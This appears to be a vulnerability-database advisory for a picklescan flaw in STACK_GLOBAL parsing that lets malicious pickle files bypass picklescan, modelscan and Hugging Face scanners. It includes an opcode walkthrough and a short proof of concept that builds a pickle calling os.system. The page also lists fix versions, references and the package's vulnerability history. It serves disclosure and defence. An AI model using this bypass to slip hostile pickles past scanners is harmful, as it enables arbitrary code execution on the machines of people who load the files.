Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
6: S STRING 'system' --> arg 1: STRING (tracked argument)
16: \x93 STACK_GLOBAL
17: S STRING 'ls'
23: \x85 TUPLE1
24: R REDUCE
25: . STOP
PoC
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))
Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.27 | 0.0.27 |
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr
- https://nvd.nist.gov/vuln/detail/CVE-2025-71325
- https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
- https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27
- https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-9gvj-pp9x-gcfr
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-502- Platform
- Python (PyPI)
- Package
picklescan- Disclosed
- 12.08.2025
- Updated
- 11.10.2026 13:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1788 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9gvj-pp9x-gcfr - CC BY 4.0
Vulnerability history: picklescan
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 02.2025 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 7
- High 25
- Medium 26
Disclosures per year
- 2025: 51
- 2026: 7
-
Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass this entry
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